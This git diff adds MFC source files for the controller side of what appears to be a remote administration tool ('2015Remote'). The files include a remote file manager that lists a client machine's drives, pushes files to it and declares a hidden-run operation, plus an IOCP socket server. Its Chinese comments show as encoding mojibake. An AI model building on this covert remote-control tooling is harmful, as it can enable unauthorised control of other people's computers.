DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CString m_strIP;
|
||||||
|
CString m_strPort;
|
||||||
|
afx_msg void OnBnClickedOk();
|
||||||
|
};
|
||||||
53
server/2015Remote/CpuUseage.cpp
Normal file
53
server/2015Remote/CpuUseage.cpp
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "CpuUseage.h"
|
||||||
|
|
||||||
|
//ϵͳ<CFB5><CDB3><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CCpuUsage::CCpuUsage()
|
||||||
|
{
|
||||||
|
m_hQuery = NULL;
|
||||||
|
m_pCounterStruct = NULL;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
CCpuUsage::~CCpuUsage()
|
||||||
|
{
|
||||||
|
PdhCloseQuery(m_hQuery); //<2F>رռ<D8B1><D5BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
delete m_pCounterStruct;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CCpuUsage::Init()
|
||||||
|
{
|
||||||
|
if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //<2F><EFBFBD><F2BFAABC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;
|
||||||
|
|
||||||
|
//ͳ<>Ƹ<EFBFBD><C6B8><EFBFBD>Ȥ<EFBFBD><C8A4>ϵͳ<CFB5><CDB3>Ϣʱ<CFA2><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD><EFBFBD>Ӧ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD><EFBFBD>
|
||||||
|
PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));
|
||||||
|
if (ERROR_SUCCESS != pdh_status)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int CCpuUsage::GetUsage()
|
||||||
|
{
|
||||||
|
PDH_FMT_COUNTERVALUE pdhFormattedValue;
|
||||||
|
|
||||||
|
PdhCollectQueryData(m_hQuery);
|
||||||
|
|
||||||
|
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||||
|
if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter,
|
||||||
|
PDH_FMT_LONG,
|
||||||
|
NULL,
|
||||||
|
&pdhFormattedValue ))
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return pdhFormattedValue.longValue;
|
||||||
|
}
|
||||||
34
server/2015Remote/CpuUseage.h
Normal file
34
server/2015Remote/CpuUseage.h
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <pdh.h>
|
||||||
|
#include <pdhmsg.h>
|
||||||
|
|
||||||
|
#pragma comment(lib,"PDH.lib")
|
||||||
|
|
||||||
|
#define MAX_RAW_VALUES 20
|
||||||
|
|
||||||
|
//process <20><>Ŀ<EFBFBD>µ<EFBFBD>% Processor Time<6D><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǹ<EFBFBD><C7B9>ڽ<EFBFBD><DABD><EFBFBD>CPUʹ<55>ʵ<EFBFBD>
|
||||||
|
const char szCounterName[] = "\\Processor(_Total)\\% Processor Time";
|
||||||
|
|
||||||
|
typedef struct _tag_PDHCounterStruct {
|
||||||
|
HCOUNTER hCounter;
|
||||||
|
int nNextIndex;
|
||||||
|
int nOldestIndex;
|
||||||
|
int nRawCount;
|
||||||
|
PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES];
|
||||||
|
} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT;
|
||||||
|
|
||||||
|
|
||||||
|
class CCpuUsage
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CCpuUsage();
|
||||||
|
virtual ~CCpuUsage();
|
||||||
|
BOOL Init();
|
||||||
|
int GetUsage();
|
||||||
|
|
||||||
|
protected:
|
||||||
|
|
||||||
|
PPDHCOUNTERSTRUCT m_pCounterStruct;
|
||||||
|
HQUERY m_hQuery;
|
||||||
|
};
|
||||||
50
server/2015Remote/EditDialog.cpp
Normal file
50
server/2015Remote/EditDialog.cpp
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
// EditDialog.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "EditDialog.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
|
||||||
|
// CEditDialog <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CEditDialog, CDialog)
|
||||||
|
|
||||||
|
CEditDialog::CEditDialog(CWnd* pParent)
|
||||||
|
: CDialog(CEditDialog::IDD, pParent)
|
||||||
|
, m_EditString(_T(""))
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
CEditDialog::~CEditDialog()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CEditDialog::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Text(pDX, IDC_EDIT_STRING, m_EditString);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CEditDialog, CDialog)
|
||||||
|
ON_BN_CLICKED(IDOK, &CEditDialog::OnBnClickedOk)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CEditDialog <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
void CEditDialog::OnBnClickedOk()
|
||||||
|
{
|
||||||
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
UpdateData(TRUE);
|
||||||
|
if (m_EditString.IsEmpty()) {
|
||||||
|
MessageBeep(0);
|
||||||
|
return; //<2F><><EFBFBD>رնԻ<D5B6><D4BB><EFBFBD>
|
||||||
|
}
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
24
server/2015Remote/EditDialog.h
Normal file
24
server/2015Remote/EditDialog.h
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
|
// CEditDialog <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
class CEditDialog : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CEditDialog)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CEditDialog(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
virtual ~CEditDialog();
|
||||||
|
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_NEWFOLDER };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CString m_EditString;
|
||||||
|
afx_msg void OnBnClickedOk();
|
||||||
|
};
|
||||||
74
server/2015Remote/FileCompress.cpp
Normal file
74
server/2015Remote/FileCompress.cpp
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
// FileCompress.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "FileCompress.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
// CFileCompress <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CFileCompress, CDialog)
|
||||||
|
|
||||||
|
CFileCompress::CFileCompress(CWnd* pParent, ULONG n)
|
||||||
|
: CDialog(CFileCompress::IDD, pParent)
|
||||||
|
, m_EditRarName(_T(""))
|
||||||
|
{
|
||||||
|
m_ulType = n;
|
||||||
|
}
|
||||||
|
|
||||||
|
CFileCompress::~CFileCompress()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFileCompress::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Text(pDX, IDC_EDIT_RARNAME, m_EditRarName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CFileCompress, CDialog)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CFileCompress <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CFileCompress::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
CString strTips;
|
||||||
|
switch(m_ulType)
|
||||||
|
{
|
||||||
|
case 1:
|
||||||
|
{
|
||||||
|
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
||||||
|
SetDlgItemText(IDC_STATIC, strTips);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 2:
|
||||||
|
{
|
||||||
|
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD>";
|
||||||
|
SetDlgItemText(IDC_STATIC, strTips);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 3:
|
||||||
|
{
|
||||||
|
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
|
||||||
|
SetDlgItemText(IDC_STATIC, strTips);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 4:
|
||||||
|
{
|
||||||
|
strTips = "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD>̽<EFBFBD>ѹ<EFBFBD>ļ<EFBFBD><EFBFBD>У<EFBFBD>";
|
||||||
|
SetDlgItemText(IDC_STATIC, strTips);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
UpdateData(TRUE);
|
||||||
|
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
25
server/2015Remote/FileCompress.h
Normal file
25
server/2015Remote/FileCompress.h
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
|
// CFileCompress <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
class CFileCompress : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CFileCompress)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CFileCompress(CWnd* pParent = NULL,ULONG n = 0); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
virtual ~CFileCompress();
|
||||||
|
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_FILE_COMPRESS };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CString m_EditRarName;
|
||||||
|
ULONG m_ulType;
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
};
|
||||||
1454
server/2015Remote/FileManagerDlg.cpp
Normal file
1454
server/2015Remote/FileManagerDlg.cpp
Normal file
File diff suppressed because it is too large
Load Diff
190
server/2015Remote/FileManagerDlg.h
Normal file
190
server/2015Remote/FileManagerDlg.h
Normal file
@@ -0,0 +1,190 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "afxcmn.h"
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
#include "afxwin.h"
|
||||||
|
#include "TrueColorToolBar.h"
|
||||||
|
|
||||||
|
// CFileManagerDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
DWORD dwSizeHigh;
|
||||||
|
DWORD dwSizeLow;
|
||||||
|
}FILE_SIZE;
|
||||||
|
|
||||||
|
typedef CList<CString, CString&> ListTemplate;
|
||||||
|
class CFileManagerDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CFileManagerDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CFileManagerDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
virtual ~CFileManagerDlg();
|
||||||
|
|
||||||
|
VOID CFileManagerDlg::FixedClientDiskDriverList();
|
||||||
|
VOID CFileManagerDlg::FixedServerDiskDriverList();
|
||||||
|
|
||||||
|
CONTEXT_OBJECT* m_ContextObject;
|
||||||
|
IOCPServer* m_iocpServer;
|
||||||
|
CString m_strClientIP;
|
||||||
|
BYTE m_szClientDiskDriverList[0x1000];
|
||||||
|
char m_szServerDiskDriverList[0x1000];
|
||||||
|
|
||||||
|
int GetServerIconIndex(LPCTSTR szVolume, DWORD dwFileAttributes)
|
||||||
|
{
|
||||||
|
SHFILEINFO sfi;
|
||||||
|
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
||||||
|
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||||
|
else
|
||||||
|
dwFileAttributes |= FILE_ATTRIBUTE_NORMAL;
|
||||||
|
|
||||||
|
SHGetFileInfo
|
||||||
|
(
|
||||||
|
szVolume,
|
||||||
|
dwFileAttributes,
|
||||||
|
&sfi,
|
||||||
|
sizeof(SHFILEINFO),
|
||||||
|
SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES
|
||||||
|
);
|
||||||
|
|
||||||
|
return sfi.iIcon;
|
||||||
|
}
|
||||||
|
|
||||||
|
CString CFileManagerDlg::GetParentDirectory(CString strPath)
|
||||||
|
{
|
||||||
|
CString strCurrentPath = strPath;
|
||||||
|
int iIndex = strCurrentPath.ReverseFind('\\');
|
||||||
|
if (iIndex == -1)
|
||||||
|
{
|
||||||
|
return strCurrentPath;
|
||||||
|
}
|
||||||
|
CString strCurrentSubPath = strCurrentPath.Left(iIndex);
|
||||||
|
iIndex = strCurrentSubPath.ReverseFind('\\');
|
||||||
|
if (iIndex == -1)
|
||||||
|
{
|
||||||
|
strCurrentPath = "";
|
||||||
|
return strCurrentPath;
|
||||||
|
}
|
||||||
|
strCurrentPath = strCurrentSubPath.Left(iIndex);
|
||||||
|
|
||||||
|
if(strCurrentPath.Right(1) != "\\")
|
||||||
|
strCurrentPath += "\\";
|
||||||
|
return strCurrentPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFileManagerDlg::EnableControl(BOOL bEnable)
|
||||||
|
{
|
||||||
|
m_ControlList_Client.EnableWindow(bEnable);
|
||||||
|
m_ControlList_Server.EnableWindow(bEnable);
|
||||||
|
m_ComboBox_Server.EnableWindow(bEnable);
|
||||||
|
m_ComboBox_Client.EnableWindow(bEnable);
|
||||||
|
}
|
||||||
|
|
||||||
|
CTrueColorToolBar m_ToolBar_File_Server; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// CTrueColorToolBar m_wndToolBar_Remote;
|
||||||
|
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_FILE_MANAGER };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CListCtrl m_ControlList_Client;
|
||||||
|
CListCtrl m_ControlList_Server;
|
||||||
|
|
||||||
|
CImageList* m_ImageList_Large;
|
||||||
|
CImageList* m_ImageList_Small;
|
||||||
|
afx_msg void OnClose();
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
afx_msg void OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
VOID CFileManagerDlg::FixedServerFileList(CString strDirectory="");
|
||||||
|
VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
CString m_Server_File_Path;
|
||||||
|
CString m_Client_File_Path;
|
||||||
|
CComboBox m_ComboBox_Server;
|
||||||
|
CComboBox m_ComboBox_Client;
|
||||||
|
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||||
|
afx_msg void OnCbnSelchangeComboServer();
|
||||||
|
afx_msg void OnCbnDblclkComboServer();
|
||||||
|
CStatic m_FileServerBarPos;
|
||||||
|
CStatic m_FileClientBarPos;
|
||||||
|
|
||||||
|
afx_msg void OnIdtServerPrev();
|
||||||
|
afx_msg void OnIdtServerNewFolder();
|
||||||
|
afx_msg void OnIdtServerDelete();
|
||||||
|
afx_msg void OnIdtServerStop();
|
||||||
|
BOOL m_bIsStop;
|
||||||
|
BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
|
||||||
|
BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) ;
|
||||||
|
afx_msg void OnViewBigIcon();
|
||||||
|
afx_msg void OnViewSmallIcon();
|
||||||
|
afx_msg void OnViewDetail();
|
||||||
|
afx_msg void OnViewList();
|
||||||
|
afx_msg void OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
VOID CFileManagerDlg::GetClientFileList(CString strDirectory="");
|
||||||
|
VOID CFileManagerDlg::OnReceiveComplete();
|
||||||
|
afx_msg void OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||||
|
|
||||||
|
BOOL m_bDragging;
|
||||||
|
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||||
|
VOID CFileManagerDlg::DropItemOnList();
|
||||||
|
|
||||||
|
CListCtrl* m_DragControlList;
|
||||||
|
CListCtrl* m_DropControlList;
|
||||||
|
|
||||||
|
HCURSOR m_hCursor;
|
||||||
|
|
||||||
|
ListTemplate m_Remote_Upload_Job;
|
||||||
|
VOID CFileManagerDlg::OnCopyServerToClient();
|
||||||
|
BOOL CFileManagerDlg::SendToClientJob();
|
||||||
|
|
||||||
|
CString m_strSourFileFullPath;
|
||||||
|
CString m_strDestFileFullPath;
|
||||||
|
__int64 m_OperatingFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
||||||
|
VOID CFileManagerDlg::SendFileData();
|
||||||
|
__int64 m_ulCounter;
|
||||||
|
VOID CFileManagerDlg::EndCopyServerToClient();
|
||||||
|
|
||||||
|
BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) ;
|
||||||
|
|
||||||
|
CStatusBar m_StatusBar; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||||||
|
CProgressCtrl* m_ProgressCtrl;
|
||||||
|
|
||||||
|
void CFileManagerDlg::ShowProgress()
|
||||||
|
{
|
||||||
|
if ((int)m_ulCounter == -1)
|
||||||
|
{
|
||||||
|
m_ulCounter = m_OperatingFileLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
int iProgress = (float)(m_ulCounter * 100) / m_OperatingFileLength;
|
||||||
|
m_ProgressCtrl->SetPos(iProgress);
|
||||||
|
|
||||||
|
|
||||||
|
if (m_ulCounter == m_OperatingFileLength)
|
||||||
|
{
|
||||||
|
m_ulCounter = m_OperatingFileLength = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CFileManagerDlg::SendTransferMode();
|
||||||
|
|
||||||
|
ULONG m_ulTransferMode;
|
||||||
|
|
||||||
|
afx_msg void OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnOperationServerRun();
|
||||||
|
afx_msg void OnOperationRename();
|
||||||
|
afx_msg void OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnOperationClientShowRun();
|
||||||
|
afx_msg void OnOperationClientHideRun();
|
||||||
|
afx_msg void OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnOperationCompress();
|
||||||
|
|
||||||
|
VOID CFileManagerDlg::ServerCompress(ULONG ulType);
|
||||||
|
BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType);
|
||||||
|
};
|
||||||
60
server/2015Remote/FileTransferModeDlg.cpp
Normal file
60
server/2015Remote/FileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
// FileTransferModeDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
#include "FileTransferModeDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
|
||||||
|
|
||||||
|
// CFileTransferModeDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
|
||||||
|
|
||||||
|
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent)
|
||||||
|
: CDialog(CFileTransferModeDlg::IDD, pParent)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
CFileTransferModeDlg::~CFileTransferModeDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||||
|
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_JUMP_ALL, OnEndDialog)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CFileTransferModeDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
|
||||||
|
VOID CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||||
|
{
|
||||||
|
// TODO: Add your control notification handler code here
|
||||||
|
EndDialog(id);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
CString strTips;
|
||||||
|
strTips.Format("˥<EFBFBD><EFBFBD> զ<><D5A6>.... \" %s \" ", m_strFileName);
|
||||||
|
|
||||||
|
for (int i = 0; i < strTips.GetLength(); i += 120)
|
||||||
|
{
|
||||||
|
strTips.Insert(i, "\n");
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetDlgItemText(IDC_TIP, strTips);
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||||
|
}
|
||||||
25
server/2015Remote/FileTransferModeDlg.h
Normal file
25
server/2015Remote/FileTransferModeDlg.h
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
|
// CFileTransferModeDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
|
class CFileTransferModeDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CFileTransferModeDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CFileTransferModeDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
|
virtual ~CFileTransferModeDlg();
|
||||||
|
|
||||||
|
CString m_strFileName;
|
||||||
|
|
||||||
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum { IDD = IDD_DIALOG_TRANSMODE };
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
afx_msg void OnEndDialog(UINT id);
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
};
|
||||||
776
server/2015Remote/IOCPServer.cpp
Normal file
776
server/2015Remote/IOCPServer.cpp
Normal file
@@ -0,0 +1,776 @@
|
|||||||
|
#include "StdAfx.h"
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
#include "2015Remote.h"
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include "zlib.h"
|
||||||
|
#include "zconf.h"
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
CRITICAL_SECTION IOCPServer::m_cs = {0};
|
||||||
|
|
||||||
|
#define HUERISTIC_VALUE 2
|
||||||
|
|
||||||
|
#define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; }
|
||||||
|
|
||||||
|
IOCPServer::IOCPServer(void)
|
||||||
|
{
|
||||||
|
WSADATA wsaData;
|
||||||
|
if (WSAStartup(MAKEWORD(2,2), &wsaData)!=0)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_hCompletionPort = NULL;
|
||||||
|
m_sListenSocket = INVALID_SOCKET;
|
||||||
|
m_hListenEvent = WSA_INVALID_EVENT;
|
||||||
|
m_hListenThread = INVALID_HANDLE_VALUE;
|
||||||
|
|
||||||
|
m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection");
|
||||||
|
|
||||||
|
if (m_ulMaxConnections==0)
|
||||||
|
{
|
||||||
|
m_ulMaxConnections = 100;
|
||||||
|
}
|
||||||
|
|
||||||
|
InitializeCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
m_ulWorkThreadCount = 0;
|
||||||
|
|
||||||
|
m_bTimeToKill = FALSE;
|
||||||
|
|
||||||
|
m_ulThreadPoolMin = 0;
|
||||||
|
m_ulThreadPoolMax = 0;
|
||||||
|
m_ulCPULowThreadsHold = 0;
|
||||||
|
m_ulCPUHighThreadsHold = 0;
|
||||||
|
m_ulCurrentThread = 0;
|
||||||
|
m_ulBusyThread = 0;
|
||||||
|
|
||||||
|
m_ulKeepLiveTime = 0;
|
||||||
|
|
||||||
|
m_hKillEvent = NULL;
|
||||||
|
|
||||||
|
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
||||||
|
|
||||||
|
m_NotifyProc = NULL;
|
||||||
|
m_OfflineProc = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
IOCPServer::~IOCPServer(void)
|
||||||
|
{
|
||||||
|
m_bTimeToKill = TRUE;
|
||||||
|
|
||||||
|
Sleep(10);
|
||||||
|
SetEvent(m_hKillEvent);
|
||||||
|
|
||||||
|
Sleep(10);
|
||||||
|
|
